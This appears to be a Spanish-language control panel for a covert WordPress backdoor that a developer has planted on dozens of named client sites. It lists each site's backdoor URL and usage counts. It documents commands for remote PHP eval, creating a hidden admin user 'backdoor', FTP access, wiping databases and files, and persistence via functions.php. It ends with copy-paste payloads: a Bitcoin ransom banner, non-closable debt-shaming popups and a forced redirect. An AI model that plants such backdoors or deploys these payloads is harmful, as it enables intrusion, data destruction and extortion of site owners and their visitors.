← Back to tools

Puedes usar PHPINFO, ?ftp, login=backdoor o login=cualquier username, redirect URL, backup/erase de BDD o Archivos y Eval codigo.
*Aguas con usar 0_NOMBRE UNICO AQUI!!! que puedes borrar accidentalmente a otro

Quien

Cada script debe ser unico		 Creación Ult. modificación Donde

Donde fue visto ultima vez		 Clics

Total veces ejecutado		 Clics/dia (/4 ?) Bloquear

html/JS =echo, RespaldoTodo y BorraTodo =SelfDestruct, '' = desbloqueado		 Regresa PHP

hara eval( de lo que pongas ); evita html, solo php (solo nuevos lo traen)
0_NOMBRE UNICO AQUI!!!

 06/03/2026
Hace 195 días		2026-09-09 18:10:22
Hace 9 días		 https://trello.alexcd2000.com/uploads/1788977285_wp-user.php395 clics / 188 dias1
Advizee

 07/11/2025
Hace 315 días		2026-09-14 12:40:39
Hace 4 días		 http://advizee.ca/wp-user.php26 clics / 312 dias0
Advizee Aims Fittings

 22/10/2025
Hace 331 días		2026-09-18 06:25:12
Hace 0 días		 https://1.aimsfittings.com/robots.txt65049 clics / 332 dias491
Advizee Centroplast

 08/12/2025
Hace 284 días		2026-09-14 12:41:51
Hace 4 días		 http://centroplast.ca/wp-user.php23 clics / 281 dias0
Advizee Dono

 25/11/2025
Hace 297 días		2026-06-21 16:49:20
Hace 89 días		 https://donoelectronic.com/wp-user.php15 clics / 209 dias0
Advizee Laurentian

 30/05/2025
Hace 476 días		2026-07-21 19:50:31
Hace 58 días		 http://laurentiandachshunds.com/wp-user.php16 clics / 419 dias01
Advizee Localbeauty

 02/05/2025
Hace 503 días		2026-05-23 07:19:27
Hace 118 días		 http://localbeautyartist.com/wp-user.php167716 clics / 386 dias1091
Advizee new Urgence Physio

 16/10/2025
Hace 337 días		2026-05-23 07:18:48
Hace 118 días		 http://urgencephysio.com/wp-user.php13 clics / 220 dias01
Advizee Physio Sacre

 10/06/2025
Hace 465 días		2026-05-23 06:53:57
Hace 118 días		 http://physiosacrecoeur.com/wp-user.php17 clics / 348 dias01
Alexcd2000 Mesa de Regalos

 15/07/2025
Hace 429 días		2026-05-23 19:05:23
Hace 118 días		 http://mesa-de-regalos.com/wp-user.php91 clics / 313 dias01
Alexcd2000 MyQRMenu

 21/05/2025
Hace 484 días		2026-05-23 07:11:32
Hace 118 días		 https://myqr.menu/wp-user.php145 clics / 367 dias01
Alexcd2000 S y A Boda

 09/09/2025
Hace 373 días		2026-05-24 10:19:58
Hace 117 días		 https://samantha-alejandro.com/wp-user.php118 clics / 257 dias01
Ali Wheelzone AU

 22/07/2025
Hace 423 días		2025-10-22 00:42:12
Hace 331 días		 https://wheelzone.co.nz/wp-user.php?que=phpinfo2 clics / 93 dias01
Ariel Fasticeusa

 16/07/2025
Hace 428 días		2026-01-09 12:51:27
Hace 252 días		 https://www.fasticeusa.com/wp-user.php?que=phpinfo5 clics / 178 dias01
Chandler Mx

 16/12/2025
Hace 276 días		2026-04-04 15:29:33
Hace 167 días		 https://crossdocksandstorage.com/wp-user.php77 clics / 111 dias0
Diego Aim Fully Books

 05/09/2025
Hace 378 días		2025-10-22 00:42:12
Hace 331 días		 https://www.aimfullybooks.com/wp-user.php?que=ftp2 clics / 47 dias01
Dreilaut Red Rabane

 08/05/2025
Hace 498 días		2026-06-15 09:33:47
Hace 95 días		 https://red-rebane.de/wp-user.php13 clics / 404 dias01
Dreilaut Schweriner

 06/05/2025
Hace 500 días		2025-10-22 00:42:12
Hace 331 días		 https://schweriner-hoefe.de/wp-user.php2 clics / 169 dias01
Ecosa Aaron

 02/05/2025
Hace 503 días		2026-08-21 14:04:25
Hace 28 días		 https://catalogo.ecosa.com.mx/wp-user.php13 clics / 477 dias01
Gary Hydracheck

 14/08/2025
Hace 400 días		2026-08-25 13:49:26
Hace 24 días		 https://www.hydracheck.com/wp-user.php27 clics / 377 dias01
Hugo Florvino

 08/07/2026
Hace 72 días		2026-07-21 20:09:28
Hace 58 días		 https://florvino.wine/alexcd2000-user.php2 clics / 15 dias0
Hugo Spirithill

 12/01/2026
Hace 249 días		2026-01-15 08:54:14
Hace 246 días		 https://spirithillswinery.com/alexcd2000-user.php3 clics / 4 dias0
Jason Brindabella Forex

 25/07/2026
Hace 54 días		2026-07-25 22:31:58
Hace 54 días		 https://mail.brindabellacapital.com/wp-user.php1 clics / 1 dias0
Jason SecureFx Forex

 25/07/2026
Hace 55 días		2026-07-25 17:23:55
Hace 55 días		 http://mail.securefxtrader.com/wp-user.php1 clics / 1 dias0
Javier Roberto GymProManager

 29/05/2025
Hace 476 días		2026-01-09 18:06:12
Hace 252 días		 https://gympromanager.com/wp-user.php6 clics / 226 dias01
Joey Curveblock Root WP

 05/03/2026
Hace 197 días		2026-03-05 16:26:30
Hace 197 días		 https://curveblock.io/wp-user.php1 clics / 1 dias0
Joey New Curveblock

 23/01/2026
Hace 238 días		2026-07-21 20:10:56
Hace 58 días		 https://rwaventuresltd.com/wp-user.php?action=zip&dir=disable-updates12 clics / 181 dias0
Jorge Col AcompanantesCol

 03/03/2026
Hace 198 días		2026-03-03 19:44:46
Hace 198 días		 https://acompanantescolombia.com/wp-user.php1 clics / 1 dias0
Jorge Col Admin Escorts

 06/03/2026
Hace 196 días		2026-06-02 08:18:25
Hace 108 días		 https://admin.masajesnurucolombia.com/pages/user.php?que=phpinfo15 clics / 89 dias0
Jorge Col AdondeViajar

 03/03/2026
Hace 198 días		2026-09-14 10:18:19
Hace 4 días		 https://adondeviajar.net/wp-user.php100 clics / 196 dias0
Jorge Col CEV

 03/03/2026
Hace 198 días		2026-04-29 23:41:15
Hace 141 días		 https://colombiaeroticvacations.com/wp-user.php26 clics / 58 dias0
Jorge Col MasNuruCol

 03/03/2026
Hace 198 días		2026-09-10 12:13:34
Hace 8 días		 https://masajesnurucolombia.com/wp-user.php20 clics / 192 dias0
Jorge Col MicroBlade

 03/03/2026
Hace 198 días		2026-09-14 09:11:28
Hace 4 días		 https://microbladingeyebrowsandlashextensions.ca/wp-user.php36 clics / 196 dias0
Luis Axo Rusa Ingenieros

 05/12/2025
Hace 287 días		2026-08-22 01:31:45
Hace 27 días		 https://rusaingenieros.es/wp-user.php120 clics / 261 dias0
Michael Mx Fullonproauto

 18/12/2025
Hace 274 días		2026-05-08 17:23:37
Hace 133 días		 https://fullonproauto.com/wp-user.php63 clics / 142 dias0
Radar Politico Mauricio Colombia

 16/10/2025
Hace 337 días		2025-10-22 00:42:12
Hace 331 días		 https://radarpolitico.online/helper.php?que=ftp3 clics / 6 dias01
Reynaldo Mueblify

 28/08/2025
Hace 386 días		2025-10-22 00:42:12
Hace 331 días		 https://preview2.alexcd2000.com/wp-user.php1 clics / 56 dias01
Ross AgriX

 06/05/2025
Hace 500 días		2025-10-22 00:42:12
Hace 331 días		 https://agri-x.global/wp-user.php?que=phpinfo1 clics / 169 dias01
Ross AgriX Limpio

 07/05/2025
Hace 499 días		2025-10-22 00:42:12
Hace 331 días		 http://cap-x.global/wp-user.php50 clics / 169 dias01
St Philomena Nuns

 16/06/2025
Hace 458 días		2026-08-20 17:20:44
Hace 29 días		 http://saintphilomenaconvent.org/wp-user.php50 clics / 431 dias01
St Philomenaa School Nuns

 19/06/2025
Hace 455 días		2026-08-24 07:05:11
Hace 25 días		 http://ihmsnh.org/wp-user.php96 clics / 431 dias01
Sven IKFF

 03/07/2025
Hace 442 días		2025-10-22 00:42:12
Hace 331 días		 https://temp.ikff.no/wp-user.php?sven%20ryen2 clics / 111 dias01
Thorsten Health Care

 29/01/2026
Hace 232 días		2026-02-10 17:26:13
Hace 220 días		 https://meta-health.pro/wp-user.php641 clics / 13 dias12
Tomas Kiz10

 19/08/2025
Hace 395 días		2025-10-22 00:42:12
Hace 331 días		 https://kiz10.com/peso.php4 clics / 65 dias01
Viv NerdleWordle

 20/01/2026
Hace 241 días		2026-09-18 07:11:12
Hace 0 días		 https://nerdlewordle.com/wp-cron.php?doing_wp_cron=1789715472.1816198825836181640625181782 clics / 242 dias188
Yonduur Deanna

 21/07/2025
Hace 423 días		2025-10-29 02:46:07
Hace 324 días		 https://yonduur.com/wp-user.php?que=phpinfo5 clics / 100 dias01

Comandos (a partir de Aug 2025):

- Ya tienes un ftp con wp-user.php?ftp, que mas quieres?
- wp-user.php?debug para tener un debugeador del log de errores de wp, que también filtra... así que con eso es una super herramienta
Comandos (a partir de Apr 2024, adicional y pruebas):

- Ya hace backups de la base de datos y permite borrala. Hay que hacer esto antes de borrar los archivos obvio
- Puedes usar phpinfo para ver la config del server
- Si necesitas borrar al usuario backdoor, recuerda con wp data access directo puedes borrar el usuario en la tabla wp_user y listo... no haria falta borrar la meta del user seria mucho...
Comandos (a partir de Jul 2022, adicional y pruebas):

- En wp-user faltaba eval($ pieces[1]); en el ultimo else, el cual ahora se ejecuta para correr php remotamente.
- Hice pruebas con eval y yi hay una falla truena todo eval() y no hace nada y muestra el warning si es que ya estaba activado.
- Descubri que puedes hacer error on y off siempre y cuando el código que mandes para eval() no tenga fallas.
- Truena todo el código que lleva " o ' en un string (por ejemplo un query o un echo script) que sea ya que no permite escaparlo (supongo lo escapa una vez en la bdd, otra en el json y otra hasta el php que se ejecuta... pues ya no llega y no hay triple escapacion...). Asi que trata de evitarlo si es un query solo inserta numeros (como para un login) o un script lo adaptas.
Comandos (a partir de Nov 2021, adicional):

- El archivo ahora esta en raiz /wp-user.php y tiene la función que: /wp-user.php?login=backdoor

que crea un admin de WP con ese username y pwd (backdoor). Tiene las demás funciones que antes cuando lo pegabas en blog-header solo que ahora agregas
una función con un include() en functions.php para que se ejecute siempre y no se pierda al actualizar (a menos cambien de tema).
Corre solo en el front end, porque en el back causa algunos plugins que se comporten raro. El PHP evaluate no esta funcionando...
pero no te hace falta si borras, backup, echo html o redirecciones y aparte creas usuarios admin de wp.
Aparte eso tronaba los sitios porque es un echo dentro del head
Comandos (a partir de Dic 2020, tambien ejecuta PHP):

- BorraTodo : borra todos los archivos en la carpeta donde esta el codigo
- RespaldoTodo : crea un zip para que decargues antes de borrar. Puede tardar un poco pero al terminar la pagina listo

Copy paste:

Div nota:
<div style='position: fixed;z-index:9999;top: 10px;'><h1><br><br><a style='color:red;background-color:yellow;' href = 'https://www.paypal.me/alexcd2000'>Hey Site-Admin! Don't be a rascal! Pay your debts click here</a><br><br></h1></div>

Pago Bitso:
<div style='text-align:center; position: fixed;z-index:9999;top: 10px;'><h1><br><br>Send 100 USD to this Bitcoin Wallet to recover your site:<br><br>35M4issvwj8LiM4bErn4FUniuz16fnbRBK<br> <img src='http://comercializadoraallotnetenforcer.com/bitcoinwallet.jpg'><br><br></h1></div>

Reenvio :
<script>window.location.replace("url");</script>

o popup invasivo no se cierra:
<style> /*Pop up*/ .overlaypop { position: fixed; top: 0; bottom: 0; left: 0; right: 0; background: rgba(0, 0, 0, 0.6);/* fondo translucido */ transition: opacity 2s;/*cuanto tarda en colorearse */ visibility: visible; opacity: 1; z-index:998;/* uno menos que el popup*/ } .popupfondo { margin: 10vh auto; padding: 20px; background: white;/* color fondo*/ border-radius: 20px;/*bordes redondos */ width: 30vw; position: relative; transition: all 4s ease-in-out; z-index:999;/* aun así pon siempre al ultimo este div del html*/ } .popupfondo h1 { margin-top: 0; text-align: center; color: red;/*titulo popupfondo */ } @media screen and (max-width: 700px){/*es mas ancho en moviles*/ .popupfondo{ width: 80vw; } .popupfondo .content { max-height: 60vh; } } </style> <div id="pop" class="overlaypop"> <div class="popupfondo"> <a href="https://www.paypal.me/alexcd2000/2000mxn"><h1>Hey site admin, pay your debts! don't be a rascal. Click here</h1></a> </div> </div>